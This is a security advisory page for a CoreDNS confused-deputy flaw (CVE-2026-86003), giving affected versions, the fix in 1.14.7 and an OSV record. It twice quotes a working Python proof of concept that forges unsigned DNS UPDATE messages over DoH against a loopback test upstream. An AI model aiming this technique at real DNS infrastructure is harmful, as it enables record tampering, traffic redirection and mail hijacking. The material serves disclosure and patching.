CVE-2026-86003: Github.com/coredns/coredns Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-9gm5-9rfh-m6vx
CVSS 7.5
CWE-441
Published
Advisory Summary

CVE-2026-86003 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')) affecting Github.com/coredns/coredns libraries in the Go ecosystem. The issue involves coredns doh/doq/grpc bypass update rejection enforced on udp/tcp. Remediation is available by upgrading affected packages to version 1.14.7.

CVE-2026-86003 at a Glance

CVE Identifier CVE-2026-86003
GHSA Identifier GHSA-9gm5-9rfh-m6vx
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
Affected Product Github.com/coredns/coredns
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-86003

To remediate this vulnerability, upgrade all affected Github.com/coredns/coredns dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/coredns/coredns fixed: 1.14.7
Upgrade github.com/coredns/coredns to 1.14.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/coredns/coredns

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-86003, inspect your project dependencies for Github.com/coredns/coredns:

inspect dependencies for github.com/coredns/coredns

Analyze the terminal output to locate any version of Github.com/coredns/coredns in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.14.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy'), where the product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. this causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. In Github.com/coredns/coredns, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary CoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch. If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records. ### Details The affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server: - [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155) - [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219) - [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184) CoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167). By contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request. ### PoC The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server. Clone the repository and build the server: ```bash git clone git@github.com:coredns/coredns.git cd coredns git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main go build -tags=grpcnotrace -o coredns . ``` Save this as `Corefile.poc`: ```text https://.:8053 { bind 127.0.0.1 tls plugin/tls/test_cert.pem plugin/tls/test_key.pem forward . 127.0.0.1:15354 } ``` Save this as `poc.py`: ```python #!/usr/bin/env python3 import argparse import http.client import queue import socket import ssl import struct import threading OPCODE_UPDATE = 5 TYPE_A = 1 CLASS_IN = 1 def encode_name(name): return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00" def update_message(): zone = encode_name("example.com.") + struct.pack("!HH", 6, CLASS_IN) update = ( encode_name("foo.example.com.") + struct.pack("!HHIH", TYPE_A, CLASS_IN, 300, 4) + socket.inet_aton("192.0.2.123") ) header = struct.pack("!HHHHHH", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0) return header + zone + update def read_name(message, offset): labels = [] end = None seen = set() while True: if offset >= len(message) or offset in seen: raise ValueError("invalid DNS name") seen.add(offset) length = message[offset] if length & 0xC0 == 0xC0: if offset + 1 >= len(message): raise ValueError("truncated compression pointer") if end is None: end = offset + 2 offset = ((length & 0x3F) << 8) | message[offset + 1] continue offset += 1 if length == 0: return ".".join(labels) + ".", end if end is not None else offset if length & 0xC0 or offset + length > len(message): raise ValueError("invalid DNS label") labels.append(message[offset : offset + length].decode("ascii")) offset += length def question_end(message, count): offset = 12 for _ in range(count): _, offset = read_name(message, offset) offset += 4 if offset > len(message): raise ValueError("truncated question") return offset def parse_update(message): _, flags, qdcount, _, nscount, _ = struct.unpack_from("!HHHHHH", message) if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1: return None offset = question_end(message, qdcount) name, offset = read_name(message, offset) rrtype, rrclass, ttl, rdlength = struct.unpack_from("!HHIH", message, offset) offset += 10 rdata = message[offset : offset + rdlength] if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4: return None return name, ttl, socket.inet_ntoa(rdata) def response_for(message): ident, flags, qdcount, _, _, _ = struct.unpack_from("!HHHHHH", message) end = question_end(message, qdcount) response_flags = flags | 0x8000 return struct.pack("!HHHHHH", ident, response_flags, qdcount, 0, 0, 0) + message[12:end] def handle_message(message, peer, received): try: update = parse_update(message) response = response_for(message) except (ValueError, struct.error): return None if update is not None: received.put((peer, update)) return response def serve_udp(sock, received, stopped): while not stopped.is_set(): try: message, peer = sock.recvfrom(65535) except socket.timeout: continue except OSError: return response = handle_message(message, peer, received) if response is not None: sock.sendto(response, peer) def recv_exact(connection, size, stopped): data = bytearray() while len(data) < size and not stopped.is_set(): try: chunk = connection.recv(size - len(data)) except socket.timeout: continue if not chunk: return None data.extend(chunk) return bytes(data) if len(data) == size else None def serve_tcp(sock, received, stopped): while not stopped.is_set(): try: connection, peer = sock.accept() except socket.timeout: continue except OSError: return with connection: connection.settimeout(0.1) while not stopped.is_set(): length = recv_exact(connection, 2, stopped) if length is None: break message = recv_exact(connection, struct.unpack("!H", length)[0], stopped) if message is None: break response = handle_message(message, peer, received) if response is not None: connection.sendall(struct.pack("!H", len(response)) + response) def send_doh(host, port, payload, timeout): context = ssl._create_unverified_context() connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context) try: connection.request( "POST", "/dns-query", body=payload, headers={"Content-Type": "application/dns-message"}, ) response = connection.getresponse() body = response.read() return response.status, len(body) finally: connection.close() def main(): parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH") parser.add_argument("--host", default="127.0.0.1") parser.add_argument("--port", type=int, default=8053) parser.add_argument("--upstream-host", default="127.0.0.1") parser.add_argument("--upstream-port", type=int, default=15354) parser.add_argument("--timeout", type=float, default=2.0) parser.add_argument("--expect", choices=("forwarded", "blocked", "either"), default="either") args = parser.parse_args() received = queue.Queue() stopped = threading.Event() udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.settimeout(0.1) udp_sock.bind((args.upstream_host, args.upstream_port)) tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) tcp_sock.settimeout(0.1) tcp_sock.bind((args.upstream_host, args.upstream_port)) tcp_sock.listen() threads = [ threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True), threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True), ] for thread in threads: thread.start() payload = update_message() try: status, response_bytes = send_doh(args.host, args.port, payload, args.timeout) try: peer, update = received.get(timeout=args.timeout) except queue.Empty: peer = update = None finally: stopped.set() udp_sock.close() tcp_sock.close() for thread in threads: thread.join(timeout=1) print("payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123" % len(payload)) print("http_status=%d response_bytes=%d" % (status, response_bytes)) if update is None: result = "blocked" print("upstream_received_update=false") else: result = "forwarded" name, ttl, address = update print("upstream_received_update=true source=%s:%d" % peer) print("upstream_record=%s %d IN A %s" % (name, ttl, address)) print("result=%s" % result) if args.expect != "either" and args.expect != result: raise SystemExit("expected %s, got %s" % (args.expect, result)) if __name__ == "__main__": main() ``` Start the vulnerable revision: ```sh ./coredns -conf Corefile.poc ``` In a second terminal, run the probe: ```console $ python3 poc.py --expect forwarded payload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123 http_status=200 response_bytes=29 upstream_received_update=true source=127.0.0.1:52391 upstream_record=foo.example.com. 300 IN A 192.0.2.123 result=forwarded ``` The ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS. For comparison, build and start CoreDNS with the fix: ```sh git checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main go build -tags=grpcnotrace -o coredns-fixed . ./coredns-fixed -conf Corefile.poc ``` The same probe is rejected before reaching the synthetic upstream: ```console $ python3 poc.py --expect blocked payload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123 http_status=400 response_bytes=16 upstream_received_update=false result=blocked ``` ### Impact Exploitation requires all of the following: - an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener - the selected `proxy`/`forward` target accepts RFC 2136 UPDATE - the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG The upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.

CVE-2026-86003 Affected Github.com/coredns/coredns Versions

1 component(s)
Fixed Versions:
1.14.7
Product / Package Ecosystem Affected Versions Fixed Version
github.com/coredns/coredns
Go
< 1.14.7
1.14.7

References

Frequently Asked Questions

What is CVE-2026-86003?
CVE-2026-86003 is a security vulnerability in Github.com/coredns/coredns involving CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy').
Which Github.com/coredns/coredns versions are affected?
Affected versions include releases prior to 1.14.7 across affected packages: github.com/coredns/coredns.
What version fixes CVE-2026-86003?
Upgrading to 1.14.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/coredns/coredns affected?
Yes, github.com/coredns/coredns is affected in releases prior to 1.14.7. Upgrade your dependency to 1.14.7 or later.
What is the CVSS score of CVE-2026-86003?
CVE-2026-86003 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-86003?
CVE-2026-86003 is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.).
How can I check Go dependencies for CVE-2026-86003?
Run the dependency tree command: 'inspect dependencies for github.com/coredns/coredns'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9gm5-9rfh-m6vx",
  "modified" : "2026-09-17T20:33:06Z",
  "published" : "2026-09-17T20:33:05Z",
  "aliases" : [ "CVE-2026-86003" ],
  "summary" : "CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP",
  "details" : "### Summary\n\nCoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.\n\nIf an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.\n\n### Details\n\nThe affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server:\n\n- [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155)\n- [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219)\n- [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184)\n\nCoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167).\n\nBy contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request.\n\n### PoC\n\nThe reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server.\n\nClone the repository and build the server:\n\n```bash\ngit clone git@github.com:coredns/coredns.git\ncd coredns\ngit checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main\ngo build -tags=grpcnotrace -o coredns .\n```\n\nSave this as `Corefile.poc`:\n\n```text\nhttps://.:8053 {\n    bind 127.0.0.1\n    tls plugin/tls/test_cert.pem plugin/tls/test_key.pem\n    forward . 127.0.0.1:15354\n}\n```\n\nSave this as `poc.py`:\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport http.client\nimport queue\nimport socket\nimport ssl\nimport struct\nimport threading\n\n\nOPCODE_UPDATE = 5\nTYPE_A = 1\nCLASS_IN = 1\n\n\ndef encode_name(name):\n    return b\"\".join(bytes((len(label),)) + label.encode() for label in name.rstrip(\".\").split(\".\")) + b\"\\x00\"\n\n\ndef update_message():\n    zone = encode_name(\"example.com.\") + struct.pack(\"!HH\", 6, CLASS_IN)\n    update = (\n        encode_name(\"foo.example.com.\")\n        + struct.pack(\"!HHIH\", TYPE_A, CLASS_IN, 300, 4)\n        + socket.inet_aton(\"192.0.2.123\")\n    )\n    header = struct.pack(\"!HHHHHH\", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0)\n    return header + zone + update\n\n\ndef read_name(message, offset):\n    labels = []\n    end = None\n    seen = set()\n    while True:\n        if offset >= len(message) or offset in seen:\n            raise ValueError(\"invalid DNS name\")\n        seen.add(offset)\n        length = message[offset]\n        if length & 0xC0 == 0xC0:\n            if offset + 1 >= len(message):\n                raise ValueError(\"truncated compression pointer\")\n            if end is None:\n                end = offset + 2\n            offset = ((length & 0x3F) << 8) | message[offset + 1]\n            continue\n        offset += 1\n        if length == 0:\n            return \".\".join(labels) + \".\", end if end is not None else offset\n        if length & 0xC0 or offset + length > len(message):\n            raise ValueError(\"invalid DNS label\")\n        labels.append(message[offset : offset + length].decode(\"ascii\"))\n        offset += length\n\n\ndef question_end(message, count):\n    offset = 12\n    for _ in range(count):\n        _, offset = read_name(message, offset)\n        offset += 4\n        if offset > len(message):\n            raise ValueError(\"truncated question\")\n    return offset\n\n\ndef parse_update(message):\n    _, flags, qdcount, _, nscount, _ = struct.unpack_from(\"!HHHHHH\", message)\n    if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1:\n        return None\n    offset = question_end(message, qdcount)\n    name, offset = read_name(message, offset)\n    rrtype, rrclass, ttl, rdlength = struct.unpack_from(\"!HHIH\", message, offset)\n    offset += 10\n    rdata = message[offset : offset + rdlength]\n    if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:\n        return None\n    return name, ttl, socket.inet_ntoa(rdata)\n\n\ndef response_for(message):\n    ident, flags, qdcount, _, _, _ = struct.unpack_from(\"!HHHHHH\", message)\n    end = question_end(message, qdcount)\n    response_flags = flags | 0x8000\n    return struct.pack(\"!HHHHHH\", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]\n\n\ndef handle_message(message, peer, received):\n    try:\n        update = parse_update(message)\n        response = response_for(message)\n    except (ValueError, struct.error):\n        return None\n    if update is not None:\n        received.put((peer, update))\n    return response\n\n\ndef serve_udp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            message, peer = sock.recvfrom(65535)\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        response = handle_message(message, peer, received)\n        if response is not None:\n            sock.sendto(response, peer)\n\n\ndef recv_exact(connection, size, stopped):\n    data = bytearray()\n    while len(data) < size and not stopped.is_set():\n        try:\n            chunk = connection.recv(size - len(data))\n        except socket.timeout:\n            continue\n        if not chunk:\n            return None\n        data.extend(chunk)\n    return bytes(data) if len(data) == size else None\n\n\ndef serve_tcp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            connection, peer = sock.accept()\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        with connection:\n            connection.settimeout(0.1)\n            while not stopped.is_set():\n                length = recv_exact(connection, 2, stopped)\n                if length is None:\n                    break\n                message = recv_exact(connection, struct.unpack(\"!H\", length)[0], stopped)\n                if message is None:\n                    break\n                response = handle_message(message, peer, received)\n                if response is not None:\n                    connection.sendall(struct.pack(\"!H\", len(response)) + response)\n\n\ndef send_doh(host, port, payload, timeout):\n    context = ssl._create_unverified_context()\n    connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)\n    try:\n        connection.request(\n            \"POST\",\n            \"/dns-query\",\n            body=payload,\n            headers={\"Content-Type\": \"application/dns-message\"},\n        )\n        response = connection.getresponse()\n        body = response.read()\n        return response.status, len(body)\n    finally:\n        connection.close()\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH\")\n    parser.add_argument(\"--host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8053)\n    parser.add_argument(\"--upstream-host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--upstream-port\", type=int, default=15354)\n    parser.add_argument(\"--timeout\", type=float, default=2.0)\n    parser.add_argument(\"--expect\", choices=(\"forwarded\", \"blocked\", \"either\"), default=\"either\")\n    args = parser.parse_args()\n\n    received = queue.Queue()\n    stopped = threading.Event()\n    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    udp_sock.settimeout(0.1)\n    udp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    tcp_sock.settimeout(0.1)\n    tcp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock.listen()\n    threads = [\n        threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),\n        threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),\n    ]\n    for thread in threads:\n        thread.start()\n\n    payload = update_message()\n    try:\n        status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)\n        try:\n            peer, update = received.get(timeout=args.timeout)\n        except queue.Empty:\n            peer = update = None\n    finally:\n        stopped.set()\n        udp_sock.close()\n        tcp_sock.close()\n        for thread in threads:\n            thread.join(timeout=1)\n\n    print(\"payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\" % len(payload))\n    print(\"http_status=%d response_bytes=%d\" % (status, response_bytes))\n    if update is None:\n        result = \"blocked\"\n        print(\"upstream_received_update=false\")\n    else:\n        result = \"forwarded\"\n        name, ttl, address = update\n        print(\"upstream_received_update=true source=%s:%d\" % peer)\n        print(\"upstream_record=%s %d IN A %s\" % (name, ttl, address))\n    print(\"result=%s\" % result)\n\n    if args.expect != \"either\" and args.expect != result:\n        raise SystemExit(\"expected %s, got %s\" % (args.expect, result))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nStart the vulnerable revision:\n\n```sh\n./coredns -conf Corefile.poc\n```\n\nIn a second terminal, run the probe:\n\n```console\n$ python3 poc.py --expect forwarded\npayload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=200 response_bytes=29\nupstream_received_update=true source=127.0.0.1:52391\nupstream_record=foo.example.com. 300 IN A 192.0.2.123\nresult=forwarded\n```\n\nThe ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.\n\nFor comparison, build and start CoreDNS with the fix:\n\n```sh\ngit checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main\ngo build -tags=grpcnotrace -o coredns-fixed .\n./coredns-fixed -conf Corefile.poc\n```\n\nThe same probe is rejected before reaching the synthetic upstream:\n\n```console\n$ python3 poc.py --expect blocked\npayload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=400 response_bytes=16\nupstream_received_update=false\nresult=blocked\n```\n\n### Impact\n\nExploitation requires all of the following:\n\n- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener\n- the selected `proxy`/`forward` target accepts RFC 2136 UPDATE\n- the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG\n\nThe upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/coredns/coredns"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.14.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.14.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-86003"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/coredns/coredns"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/coredns/coredns/releases/tag/v1.14.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-441" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T20:33:05Z",
    "nvd_published_at" : "2026-09-16T19:17:51Z"
  }
}